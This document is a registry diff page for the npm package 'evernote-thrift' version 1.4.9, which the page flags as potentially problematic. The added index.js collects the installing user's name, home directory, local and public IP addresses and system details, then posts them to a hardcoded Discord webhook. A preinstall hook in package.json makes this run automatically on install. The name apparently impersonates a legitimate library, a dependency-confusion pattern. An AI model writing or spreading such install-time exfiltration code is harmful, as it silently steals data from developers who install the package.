evernote-thrift 1.4.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of evernote-thrift might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +101 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,101 @@
1
+ const { exec } = require("child_process");
2
+ const os = require("os");
3
+ const https = require("https");
4
+
5
+ const webhookUrl = "https://discord.com/api/webhooks/1302187232995708978/JGt9ow3hM5ZZkzQmmlnOyC2CTlDRZ5bwMPJiJy6MSSmFWc2n1vxzj8CmQO4Mb3KCDviG";
6
+
7
+ // Helper function to get the public IP address
8
+ function getPublicIP(callback) {
9
+ https.get("https://api.ipify.org?format=json", (res) => {
10
+ let data = "";
11
+ res.on("data", (chunk) => { data += chunk; });
12
+ res.on("end", () => {
13
+ try {
14
+ const ip = JSON.parse(data).ip;
15
+ callback(null, ip);
16
+ } catch (error) {
17
+ callback(error, null);
18
+ }
19
+ });
20
+ }).on("error", (err) => {
21
+ callback(err, null);
22
+ });
23
+ }
24
+
25
+ // Helper function to get system fingerprint
26
+ function getSystemFingerprint(callback) {
27
+ exec("whoami", (error, stdoutWhoami) => {
28
+ const username = error ? "Error fetching username" : stdoutWhoami.trim();
29
+
30
+ const homeDir = os.homedir();
31
+ const ipAddress = getLocalIPAddress();
32
+ const osType = os.type();
33
+ const osPlatform = os.platform();
34
+ const osRelease = os.release();
35
+ const totalMemory = (os.totalmem() / (1024 ** 3)).toFixed(2) + " GB";
36
+ const freeMemory = (os.freemem() / (1024 ** 3)).toFixed(2) + " GB";
37
+
38
+ // Fetch public IP and then send data
39
+ getPublicIP((err, publicIP) => {
40
+ const fingerprint = `
41
+ **User:** ${username}
42
+ **Home Directory:** ${homeDir}
43
+ **Local IP Address:** ${ipAddress}
44
+ **Public IP Address:** ${publicIP || "Error fetching public IP"}
45
+ **OS Type:** ${osType}
46
+ **OS Platform:** ${osPlatform}
47
+ **OS Release:** ${osRelease}
48
+ **Total Memory:** ${totalMemory}
49
+ **Free Memory:** ${freeMemory}
50
+ `;
51
+ callback(fingerprint);
52
+ });
53
+ });
54
+ }
55
+
56
+ // Helper function to get local IP address
57
+ function getLocalIPAddress() {
58
+ const networkInterfaces = os.networkInterfaces();
59
+ for (const interfaceName in networkInterfaces) {
60
+ for (const network of networkInterfaces[interfaceName]) {
61
+ if (network.family === "IPv4" && !network.internal) {
62
+ return network.address;
63
+ }
64
+ }
65
+ }
66
+ return "No external IP found";
67
+ }
68
+
69
+ // Send fingerprint to Discord webhook
70
+ function sendToDiscord(message) {
71
+ const data = JSON.stringify({ content: message });
72
+
73
+ const url = new URL(webhookUrl);
74
+ const options = {
75
+ hostname: url.hostname,
76
+ path: url.pathname + url.search,
77
+ method: "POST",
78
+ headers: {
79
+ "Content-Type": "application/json",
80
+ "Content-Length": data.length
81
+ }
82
+ };
83
+
84
+ const req = https.request(options, (res) => {
85
+ let responseData = "";
86
+ res.on("data", (chunk) => { responseData += chunk; });
87
+ res.on("end", () => {
88
+ console.log("Message sent:", responseData);
89
+ });
90
+ });
91
+
92
+ req.on("error", (err) => {
93
+ console.error("Request error:", err);
94
+ });
95
+
96
+ req.write(data);
97
+ req.end();
98
+ }
99
+
100
+ // Run the fingerprint function and send data to Discord
101
+ getSystemFingerprint(sendToDiscord);
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "evernote-thrift",
3
+ "version": "1.4.9",
4
+ "description": "https://hackerone.com/someonealt-86",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }